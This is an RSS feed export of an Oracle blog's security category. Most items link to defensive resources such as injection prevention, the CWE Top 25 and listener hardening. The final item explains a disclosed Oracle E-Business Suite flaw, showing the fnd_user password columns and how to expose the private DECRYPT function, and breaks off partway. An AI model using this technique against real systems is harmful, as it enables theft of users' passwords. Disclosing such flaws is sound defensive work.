<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Eddie Awad&#039;s Blog &#187; Security</title>
	<atom:link href="http://awads.net/wp/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://awads.net/wp</link>
	<description>News, views, tips and tricks on Oracle and other fun stuff</description>
	<lastBuildDate>Mon, 21 May 2012 18:21:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
	<atom:link rel='hub' href='http://awads.net/wp/?pushpress=hub'/>
		<item>
		<title>&#9733; SQL Injection Prevention Cheat Sheet</title>
		<link>http://awads.net/wp/2010/02/22/sql-injection-prevention-cheat-sheet/</link>
		<comments>http://awads.net/wp/2010/02/22/sql-injection-prevention-cheat-sheet/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 06:09:07 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[sql]]></category>

		<guid isPermaLink="false">http://delicious.com/url/cea07307e5eb57149f79dc69f62f5807#eddieawad</guid>
		<description><![CDATA[This article provides a set of simple techniques for preventing SQL Injection vulnerabilities. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.<img src="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/IAW6E3t0SkM" height="1" width="1"/>]]></description>
			<content:encoded><![CDATA[<p>This article provides a set of simple techniques for preventing SQL Injection vulnerabilities. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.<img src="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/IAW6E3t0SkM" height="1" width="1"/><a href="http://feedproxy.google.com/~r/EddieAwadsLinks/~3/IAW6E3t0SkM/SQL_Injection_Prevention_Cheat_Sheet">More&#8230;</a></p>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2006/05/05/oracle-e-business-suite-technology-stack-and-products-cheat-sheet/' rel='bookmark' title='Oracle E-Business Suite technology stack and products cheat sheet'>Oracle E-Business Suite technology stack and products cheat sheet</a></li>
<li><a href='http://awads.net/wp/2006/10/06/links-for-2006-10-06/' rel='bookmark' title='links for 2006-10-06'>links for 2006-10-06</a></li>
<li><a href='http://awads.net/wp/2006/09/15/links-for-2006-09-15/' rel='bookmark' title='links for 2006-09-15'>links for 2006-09-15</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2010. |
<a href="http://awads.net/wp/2010/02/22/sql-injection-prevention-cheat-sheet/">Permalink</a> |
<a href="http://awads.net/wp/2010/02/22/sql-injection-prevention-cheat-sheet/#comments">One comment</a> | 
Topic: <a href="http://awads.net/wp/category/links/" title="View all posts in Links" rel="category tag">Links</a>, <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/injection/" rel="tag">injection</a>, <a href="http://awads.net/wp/tag/sql/" rel="tag">sql</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2010/02/22/sql-injection-prevention-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:thumbnail url="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/IAW6E3t0SkM" />
		<media:content url="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/IAW6E3t0SkM" medium="image" />
	</item>
		<item>
		<title>&#9733; Top 25 Most Dangerous Programming Errors</title>
		<link>http://awads.net/wp/2010/02/17/top-25-most-dangerous-programming-errors/</link>
		<comments>http://awads.net/wp/2010/02/17/top-25-most-dangerous-programming-errors/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 05:56:15 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Interesting Stuff]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[errors]]></category>
		<category><![CDATA[programming]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2010/02/17/top-25-most-dangerous-programming-errors/</guid>
		<description><![CDATA[The 2010 CWE/SANS Top 25 Most Dangerous Programming Errors is a list of the most widespread and critical programming errors that can lead to serious software vulnerabilities. They are often easy to find, and easy to exploit. They are dangerous because they will frequently allow attackers to completely take over the software, steal data, or [...]]]></description>
			<content:encoded><![CDATA[<div class='posterous_autopost'><div class="posterous_bookmarklet_entry">  <blockquote class="posterous_long_quote">  <p>The 2010 CWE/SANS Top 25 Most Dangerous Programming Errors is a list of the most widespread and critical programming errors that can lead to serious software vulnerabilities. They are often easy to find, and easy to exploit. They are dangerous because they will frequently allow attackers to completely take over the software, steal data, or prevent the software from working at all.</p>  <table border="2">    <tr>  <th>Rank</th><th>Score</th><th>ID</th><th>Name</th>  </tr>  <tr>  <td><strong>[1]</strong></td>  <td>346</td>  <td><a href="http://cwe.mitre.org/top25#CWE-79">CWE-79</a></td>  <td>Failure to Preserve Web Page Structure (&#8216;Cross-site Scripting&#8217;)</td>  </tr>  <tr>  <td><strong>[2]</strong></td>  <td>330</td>  <td><a href="http://cwe.mitre.org/top25#CWE-89">CWE-89</a></td>  <td>Improper Sanitization of Special Elements used in an SQL Command (&#8216;SQL Injection&#8217;)</td>  </tr>  <tr>  <td><strong>[3]</strong></td>  <td>273</td>  <td><a href="http://cwe.mitre.org/top25#CWE-120">CWE-120</a></td>  <td>Buffer Copy without Checking Size of Input (&#8216;Classic Buffer Overflow&#8217;)</td>  </tr>  <tr>  <td><strong>[4]</strong></td>  <td>261</td>  <td><a href="http://cwe.mitre.org/top25#CWE-352">CWE-352</a></td>  <td>Cross-Site Request Forgery (CSRF)</td>  </tr>  <tr>  <td><strong>[5]</strong></td>  <td>219</td>  <td><a href="http://cwe.mitre.org/top25#CWE-285">CWE-285</a></td>  <td>Improper Access Control (Authorization)</td>  </tr>  <tr>  <td><strong>[6]</strong></td>  <td>202</td>  <td><a href="http://cwe.mitre.org/top25#CWE-807">CWE-807</a></td>  <td>Reliance on Untrusted Inputs in a Security Decision</td>  </tr>  <tr>  <td><strong>[7]</strong></td>  <td>197</td>  <td><a href="http://cwe.mitre.org/top25#CWE-22">CWE-22</a></td>  <td>Improper Limitation of a Pathname to a Restricted Directory (&#8216;Path Traversal&#8217;)</td>  </tr>  <tr>  <td><strong>[8]</strong></td>  <td>194</td>  <td><a href="http://cwe.mitre.org/top25#CWE-434">CWE-434</a></td>  <td>Unrestricted Upload of File with Dangerous Type</td>  </tr>  <tr>  <td><strong>[9]</strong></td>  <td>188</td>  <td><a href="http://cwe.mitre.org/top25#CWE-78">CWE-78</a></td>  <td>Improper Sanitization of Special Elements used in an OS Command (&#8216;OS Command Injection&#8217;)</td>  </tr>  <tr>  <td><strong>[10]</strong></td>  <td>188</td>  <td><a href="http://cwe.mitre.org/top25#CWE-311">CWE-311</a></td>  <td>Missing Encryption of Sensitive Data</td>  </tr>  <tr>  <td><strong>[11]</strong></td>  <td>176</td>  <td><a href="http://cwe.mitre.org/top25#CWE-798">CWE-798</a></td>  <td>Use of Hard-coded Credentials</td>  </tr>  <tr>  <td><strong>[12]</strong></td>  <td>158</td>  <td><a href="http://cwe.mitre.org/top25#CWE-805">CWE-805</a></td>  <td>Buffer Access with Incorrect Length Value</td>  </tr>  <tr>  <td><strong>[13]</strong></td>  <td>157</td>  <td><a href="http://cwe.mitre.org/top25#CWE-98">CWE-98</a></td>  <td>Improper Control of Filename for Include/Require Statement in PHP Program (&#8216;PHP File Inclusion&#8217;)</td>  </tr>  <tr>  <td><strong>[14]</strong></td>  <td>156</td>  <td><a href="http://cwe.mitre.org/top25#CWE-129">CWE-129</a></td>  <td>Improper Validation of Array Index</td>  </tr>  <tr>  <td><strong>[15]</strong></td>  <td>155</td>  <td><a href="http://cwe.mitre.org/top25#CWE-754">CWE-754</a></td>  <td>Improper Check for Unusual or Exceptional Conditions</td>  </tr>  <tr>  <td><strong>[16]</strong></td>  <td>154</td>  <td><a href="http://cwe.mitre.org/top25#CWE-209">CWE-209</a></td>  <td>Information Exposure Through an Error Message</td>  </tr>  <tr>  <td><strong>[17]</strong></td>  <td>154</td>  <td><a href="http://cwe.mitre.org/top25#CWE-190">CWE-190</a></td>  <td>Integer Overflow or Wraparound</td>  </tr>  <tr>  <td><strong>[18]</strong></td>  <td>153</td>  <td><a href="http://cwe.mitre.org/top25#CWE-131">CWE-131</a></td>  <td>Incorrect Calculation of Buffer Size</td>  </tr>  <tr>  <td><strong>[19]</strong></td>  <td>147</td>  <td><a href="http://cwe.mitre.org/top25#CWE-306">CWE-306</a></td>  <td>Missing Authentication for Critical Function</td>  </tr>  <tr>  <td><strong>[20]</strong></td>  <td>146</td>  <td><a href="http://cwe.mitre.org/top25#CWE-494">CWE-494</a></td>  <td>Download of Code Without Integrity Check</td>  </tr>  <tr>  <td><strong>[21]</strong></td>  <td>145</td>  <td><a href="http://cwe.mitre.org/top25#CWE-732">CWE-732</a></td>  <td>Incorrect Permission Assignment for Critical Resource</td>  </tr>  <tr>  <td><strong>[22]</strong></td>  <td>145</td>  <td><a href="http://cwe.mitre.org/top25#CWE-770">CWE-770</a></td>  <td>Allocation of Resources Without Limits or Throttling</td>  </tr>  <tr>  <td><strong>[23]</strong></td>  <td>142</td>  <td><a href="http://cwe.mitre.org/top25#CWE-601">CWE-601</a></td>  <td>URL Redirection to Untrusted Site (&#8216;Open Redirect&#8217;)</td>  </tr>  <tr>  <td><strong>[24]</strong></td>  <td>141</td>  <td><a href="http://cwe.mitre.org/top25#CWE-327">CWE-327</a></td>  <td>Use of a Broken or Risky Cryptographic Algorithm</td>  </tr>  <tr>  <td><strong>[25]</strong></td>  <td>138</td>  <td><a href="http://cwe.mitre.org/top25#CWE-362">CWE-362</a></td>  <td>Race Condition</td>  </tr>    </table>  </blockquote>  <div class="posterous_quote_citation">via <a href="http://cwe.mitre.org/top25/">cwe.mitre.org</a></div>  <p>&nbsp;</p>  </div>      <p style="font-size: 10px">  <a href="http://posterous.com">Posted via web</a>   from <a href="http://eddieawad.com/top-25-most-dangerous-programming-errors">EddieAwad.com</a>  </p>  </div>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2006/09/05/10-programming-quotes-and-lessons-learned/' rel='bookmark' title='10 Programming Quotes and Lessons Learned'>10 Programming Quotes and Lessons Learned</a></li>
<li><a href='http://awads.net/wp/2007/03/14/10-things-about-computer-programming-you-may-not-agree-with/' rel='bookmark' title='10 Things About Computer Programming You May Not Agree With'>10 Things About Computer Programming You May Not Agree With</a></li>
<li><a href='http://awads.net/wp/2006/11/28/do-you-have-these-symptoms/' rel='bookmark' title='Do You Have These Symptoms?'>Do You Have These Symptoms?</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2010. |
<a href="http://awads.net/wp/2010/02/17/top-25-most-dangerous-programming-errors/">Permalink</a> |
<a href="http://awads.net/wp/2010/02/17/top-25-most-dangerous-programming-errors/#comments">One comment</a> | 
Topic: <a href="http://awads.net/wp/category/stuff/" title="View all posts in Interesting Stuff" rel="category tag">Interesting Stuff</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/errors/" rel="tag">errors</a>, <a href="http://awads.net/wp/tag/programming/" rel="tag">programming</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2010/02/17/top-25-most-dangerous-programming-errors/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
	</item>
		<item>
		<title>&#9733; Securing Java In Oracle [PDF]</title>
		<link>http://awads.net/wp/2010/02/07/securing-java-in-oracle-pdf/</link>
		<comments>http://awads.net/wp/2010/02/07/securing-java-in-oracle-pdf/#comments</comments>
		<pubDate>Mon, 08 Feb 2010 04:14:19 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[java]]></category>

		<guid isPermaLink="false">http://delicious.com/url/1d451d300ef347fbba5df71401059238#eddieawad</guid>
		<description><![CDATA[It is an interesting case of coincidental timing that within a week of the Oracle Sun deal being finalised by the EU1 that the Blackhat conference in DC should publish David Litchfield’s research for NGS Software 2, on how to escalate privilege using the Java functionality built into the Oracle DB 3. David’s research is not patched yet so would normally have only been made privy to the Administrators at Oracle’s SecAlert, but it has been made “Public” so it is now risk mitigation time.

Thankfully these Java related Oracle vulnerabilities have been discussed privately for a number of months beforehand, thus giving the Author time to fix them with a provably low risk of affecting other Oracle functionality.

In the absence of a patch from Oracle this paper provides information on how to fix the Java related vulnerabilities in both 10g and 11g which were detailed in David’s Blackhat presentation on February 2nd 2010.<img src="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/XJmIiF8ikpU" height="1" width="1"/>]]></description>
			<content:encoded><![CDATA[<p>It is an interesting case of coincidental timing that within a week of the Oracle Sun deal being finalised by the EU1 that the Blackhat conference in DC should publish David Litchfield’s research for NGS Software 2, on how to escalate privilege using the Java functionality built into the Oracle DB 3. David’s research is not patched yet so would normally have only been made privy to the Administrators at Oracle’s SecAlert, but it has been made “Public” so it is now risk mitigation time.</p>

<p>Thankfully these Java related Oracle vulnerabilities have been discussed privately for a number of months beforehand, thus giving the Author time to fix them with a provably low risk of affecting other Oracle functionality.</p>

<p>In the absence of a patch from Oracle this paper provides information on how to fix the Java related vulnerabilities in both 10g and 11g which were detailed in David’s Blackhat presentation on February 2nd 2010.<img src="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/XJmIiF8ikpU" height="1" width="1"/><a href="http://feedproxy.google.com/~r/EddieAwadsLinks/~3/XJmIiF8ikpU/SecuringJavaInOracle.pdf">More&#8230;</a></p>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2010/02/09/15-ways-oracle-can-make-java-better-and-improve-its-stance-with-developers/' rel='bookmark' title='15 Ways Oracle Can Make Java Better (and Improve Its Stance with Developers)'>15 Ways Oracle Can Make Java Better (and Improve Its Stance with Developers)</a></li>
<li><a href='http://awads.net/wp/2010/03/29/want-to-learn-java-hear-what-the-father-of-java-has-to-say-about-it/' rel='bookmark' title='Want to Learn Java? Hear What the Father of Java Has to Say About It'>Want to Learn Java? Hear What the Father of Java Has to Say About It</a></li>
<li><a href='http://awads.net/wp/2010/02/08/daily-roundup-of-news-tips-and-tricks-for-2010-02-08/' rel='bookmark' title='Daily Roundup of News, Tips and Tricks for 2010-02-08'>Daily Roundup of News, Tips and Tricks for 2010-02-08</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2010. |
<a href="http://awads.net/wp/2010/02/07/securing-java-in-oracle-pdf/">Permalink</a> |
<a href="http://awads.net/wp/2010/02/07/securing-java-in-oracle-pdf/#comments">Add a comment</a> | 
Topic: <a href="http://awads.net/wp/category/links/" title="View all posts in Links" rel="category tag">Links</a>, <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/java/" rel="tag">java</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2010/02/07/securing-java-in-oracle-pdf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="http://www.oracleforensics.com/wordpress/wp-content/uploads/2010/02/SecuringJavaInOracle.pdf" length="1" type="application/pdf" />
	
		<media:thumbnail url="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/XJmIiF8ikpU" />
		<media:content url="http://feeds.feedburner.com/~r/EddieAwadsLinks/~4/XJmIiF8ikpU" medium="image" />
	</item>
		<item>
		<title>&#9733; New Oracle Security Videos and Blog</title>
		<link>http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/</link>
		<comments>http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/#comments</comments>
		<pubDate>Thu, 24 May 2007 16:23:15 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/</guid>
		<description><![CDATA[Alexander Kornbrust of Red-Database-Security has started a new Oracle security blog (just added to OraNa.info). He also posted new Oracle security videos, 10 as of today. Related articles: Oracle Database Listener Security Guide Videos on Flashback in Oracle Database 10g and 11g Oracle Strengthens Security Offerings © Eddie Awad&#039;s Blog, 2007. &#124; Permalink &#124; Add [...]]]></description>
			<content:encoded><![CDATA[<p>Alexander Kornbrust of <a href="http://www.red-database-security.com/">Red-Database-Security</a> has started a new <a href="http://blog.red-database-security.com/">Oracle security blog</a> (just added to <a href="http://orana.info/">OraNa.info</a>). He also posted new <a href="http://www.red-database-security.com/videos/oracle_videos.html">Oracle security videos</a>, 10 as of today.</p>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/' rel='bookmark' title='Oracle Database Listener Security Guide'>Oracle Database Listener Security Guide</a></li>
<li><a href='http://awads.net/wp/2007/07/30/videos-on-flashback-in-oracle-database-10g-and-11g/' rel='bookmark' title='Videos on Flashback in Oracle Database 10g and 11g'>Videos on Flashback in Oracle Database 10g and 11g</a></li>
<li><a href='http://awads.net/wp/2005/11/16/oracle-strengthens-security-offerings-acquires-thor-technologies-and-octetstring/' rel='bookmark' title='Oracle Strengthens Security Offerings'>Oracle Strengthens Security Offerings</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2007. |
<a href="http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/">Permalink</a> |
<a href="http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/#comments">Add a comment</a> | 
Topic: <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/security/" rel="tag">Security</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
	</item>
		<item>
		<title>&#9733; 5 Recent Oracle Security Related Documents</title>
		<link>http://awads.net/wp/2007/04/12/5-recent-oracle-security-related-documents/</link>
		<comments>http://awads.net/wp/2007/04/12/5-recent-oracle-security-related-documents/#comments</comments>
		<pubDate>Thu, 12 Apr 2007 20:01:21 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[EBS]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2007/04/12/5-recent-oracle-security-related-documents/</guid>
		<description><![CDATA[Oracle Applications 11i Encrypted Password String Disclosure (PDF): An undisclosed security vulnerability exists in Oracle Applications 11i that may allow an unauthenticated, internal attacker to obtain Oracle Applications&#8217; user account encrypted password strings, which in turn can be decrypted using previously published information. An attacker can potentially obtain either any user&#8217;s password or the Oracle [...]]]></description>
			<content:encoded><![CDATA[<ol>
<li><p><a href="http://www.integrigy.com/security-resources/advisories/Integrigy_Encrypted_Password_Disclosure.pdf">Oracle Applications 11i Encrypted Password String Disclosure (PDF)</a>: An undisclosed security vulnerability exists in Oracle Applications 11i that may allow an unauthenticated, internal attacker to obtain Oracle Applications&#8217; user account encrypted password strings, which in turn can be decrypted using previously published information. An attacker can potentially obtain either any user&#8217;s password or the Oracle Applications&#8217; main database account password (APPS).</p></li>
<li><p><a href="http://www.integrigy.com/security-resources/whitepapers/Building_an_Audit_Trail_in_an_Oracle_Applications_Environment.pdf">Building an Audit Trail in an Oracle Applications Environment (PDF)</a>: Sarbanes-Oxleyâ€™s section 404 requires a companyâ€™s key systems be audited. However, many companies have &#8220;unauditable&#8221; systems and donâ€™t even know it. This paper explores methods by which companies can create an auditable system by implementing various levels of audit trails in Oracle Applications.</p></li>
<li><p><a href="http://www.ngssoftware.com/research/papers/dissecting-the-redo-logs.pdf">Dissecting the Redo Logs (PDF)</a>: This paper delves into the guts of the undocumented binary format of the redo logs and shows the forensics examiner, if there is evidence to be found, how to find it and how it can be integrated into a time line of events. It also explores how an attacker can attempt to cover their tracks and how to spot this.</p></li>
<li><p><a href="http://www.ngssoftware.com/research/papers/Locating-Dropped-Objects.pdf">Locating dropped objects (PDF)</a>: This paper shows, even when an object has been dropped and purged from the system there will be, in the vast majority of cases, fragments left â€œlying aroundâ€ which can be sewn together to build an accurate picture of what the actions the attacker took. Perhaps, depending upon how quickly an investigation takes place from the incident in question, even all data pertaining to the dropped object or objects may still be found.</p></li>
<li><p><a href="http://www.ngssoftware.com/research/papers/Investigating-Authentication-Attacks.pdf">Isolating Evidence of Attacks
Against the Authentication Mechanism (PDF)</a>: This paper looks at attacks against the authentication mechanism and evidence to check whether a logon attempt was successful or not. It also looks at other attacks leveled at the authentication process including SID guessing, user enumeration and brute forcing of passwords over the network. Moreover, the paper looks at the differences between a logon attempt via the FTP and Web services provided with the XML Database and directly
with the RDBMS itself.</p></li>
</ol>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/' rel='bookmark' title='Oracle Database Listener Security Guide'>Oracle Database Listener Security Guide</a></li>
<li><a href='http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/' rel='bookmark' title='A Couple of Podcasts About PL/SQL and Oracle Security'>A Couple of Podcasts About PL/SQL and Oracle Security</a></li>
<li><a href='http://awads.net/wp/2005/11/10/oracle-responds-to-the-password-hashing-algorithm-paper/' rel='bookmark' title='Oracle Responds to the Password Hashing Algorithm Paper'>Oracle Responds to the Password Hashing Algorithm Paper</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2007. |
<a href="http://awads.net/wp/2007/04/12/5-recent-oracle-security-related-documents/">Permalink</a> |
<a href="http://awads.net/wp/2007/04/12/5-recent-oracle-security-related-documents/#comments">One comment</a> | 
Topic: <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/database/" rel="tag">database</a>, <a href="http://awads.net/wp/tag/ebs/" rel="tag">EBS</a>, <a href="http://awads.net/wp/tag/security/" rel="tag">Security</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2007/04/12/5-recent-oracle-security-related-documents/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
	</item>
		<item>
		<title>&#9733; Oracle Database Listener Security Guide</title>
		<link>http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/</link>
		<comments>http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/#comments</comments>
		<pubDate>Sun, 01 Apr 2007 02:44:11 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[guide]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/</guid>
		<description><![CDATA[Integrigy has just published an updated version of the white paper on the Oracle database listener security. From the introduction: The Oracle Database Listener is the database server software component that manages the network traffic between the Oracle Database and the client. The Oracle Database Listener listens on a specific network port (default 1521) and [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.integrigy.com/security-resources/whitepapers/Integrigy_Oracle_Listener_TNS_Security.pdf/view">Integrigy</a> has just published an updated version of the white paper on the Oracle database listener security.</p>

<p>From the introduction:</p>

<blockquote>
  <p>The Oracle Database Listener is the database server software component that manages the network traffic between the Oracle Database and the client. The Oracle Database Listener listens on a specific network port (default 1521) and forwards network connections to the Database. The Listener is comprised of two binaries: (1) tnslsnr which is the Listener itself and (2) the Listener Control Utility (lsnrctl) which is used to administer the Listener on the server or remotely.</p>
  
  <p>Through our security assessments, Integrigy has consistently identified poor Oracle Database Listener security as a significant security risk. The majority of Oracle Database Listeners are not properly secured as recommended by Oracle and security experts. Fortunately in Oracle 10g, the default Listener configuration is much more secure.</p>
  
  <p>The information contained in this paper is not new, is not obscure. It may not be well known to many Oracle DBAs, but is well known to security experts and hackers. This paper will outline the vulnerabilities in the Oracle Database Listener and provide recommendations for properly securing it. Providing minimal security for the Oracle Database Listener is simple and should be done for all Oracle installations â€“ development, test and production.</p>
</blockquote>

<p>Here is a <a href="http://www.scribd.com/doc/22455/Oracle-Database-Listener-Security-Guide">link to the full document</a>.</p>
<p>Related articles:<ul>
<li><a href='http://awads.net/wp/2007/04/12/5-recent-oracle-security-related-documents/' rel='bookmark' title='5 Recent Oracle Security Related Documents'>5 Recent Oracle Security Related Documents</a></li>
<li><a href='http://awads.net/wp/2007/05/24/new-oracle-security-videos-and-blog/' rel='bookmark' title='New Oracle Security Videos and Blog'>New Oracle Security Videos and Blog</a></li>
<li><a href='http://awads.net/wp/2006/11/09/a-couple-of-podcasts-about-plsql-and-oracle-security/' rel='bookmark' title='A Couple of Podcasts About PL/SQL and Oracle Security'>A Couple of Podcasts About PL/SQL and Oracle Security</a></li>
</ul></p><hr />
<p><small>© <a href="http://awads.net/wp">Eddie Awad&#039;s Blog</a>, 2007. |
<a href="http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/">Permalink</a> |
<a href="http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/#comments">2 comments</a> | 
Topic: <a href="http://awads.net/wp/category/oracle/" title="View all posts in Oracle" rel="category tag">Oracle</a>, <a href="http://awads.net/wp/category/security/" title="View all posts in Security" rel="category tag">Security</a> | 
Tags: <a href="http://awads.net/wp/tag/guide/" rel="tag">guide</a>, <a href="http://awads.net/wp/tag/security/" rel="tag">Security</a>
<br/>
</small></p>]]></content:encoded>
			<wfw:commentRss>http://awads.net/wp/2007/03/31/oracle-database-listener-security-guide/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
	</item>
		<item>
		<title>&#9733; Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/</link>
		<comments>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comments</comments>
		<pubDate>Tue, 12 Dec 2006 22:55:02 +0000</pubDate>
		<dc:creator>Eddie Awad</dc:creator>
				<category><![CDATA[Oracle]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[EBS]]></category>
		<category><![CDATA[hack]]></category>

		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/</guid>
		<description><![CDATA[Johan Louwers published an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user: SQL&#62; desc fnd_user; Name Null? Type ----------------------------------------- -------- ---------------- USER_ID NOT NULL NUMBER(15) USER_NAME NOT NULL VARCHAR2(100) [...]]]></description>
			<content:encoded><![CDATA[<p>Johan Louwers <a href="http://johanlouwers.blogspot.com/2006/12/oracle-applications-passwords.html">published</a> an Oracle Applications passwords decryption vulnerability that allows a malicious user to expose the passwords of any Oracle Applications user. In Oracle E-Business Suite, usernames and their encrypted passwords are stored in the table fnd_user:</p>

<pre><code>  SQL&gt; desc fnd_user;
   Name                                      Null?    Type
   ----------------------------------------- -------- ----------------

   USER_ID                                   NOT NULL NUMBER(15)
   USER_NAME                                 NOT NULL VARCHAR2(100)
   LAST_UPDATE_DATE                          NOT NULL DATE
   LAST_UPDATED_BY                           NOT NULL NUMBER(15)
   CREATION_DATE                             NOT NULL DATE
   CREATED_BY                                NOT NULL NUMBER(15)
   LAST_UPDATE_LOGIN                                  NUMBER(15)
   ENCRYPTED_FOUNDATION_PASSWORD             NOT NULL VARCHAR2(100)
   ENCRYPTED_USER_PASSWORD                   NOT NULL VARCHAR2(100)
  ...
</code></pre>

<p>The column <code>ENCRYPTED_USER_PASSWORD</code> stores the encrypted value of the user&#8217;s password. The column <code>ENCRYPTED_FOUNDATION_PASSWORD</code> stores the encrypted value of the guest user.</p>

<p>To decrypt the <code>ENCRYPTED_USER_PASSWORD</code> you need access to the <code>DECRYPT</code> function in the <code>APPS.FND_WEB_SEC</code> package. Since <code>DECRYPT</code> is a private function, you need to add the declaration of this function to the package specification so that you can use it outside the package.</p>

<pre><code>FUNCTION decrypt(key IN VARCHAR2, value IN VARCHAR2)
  RETURN VARCHAR2;
</code></pre>

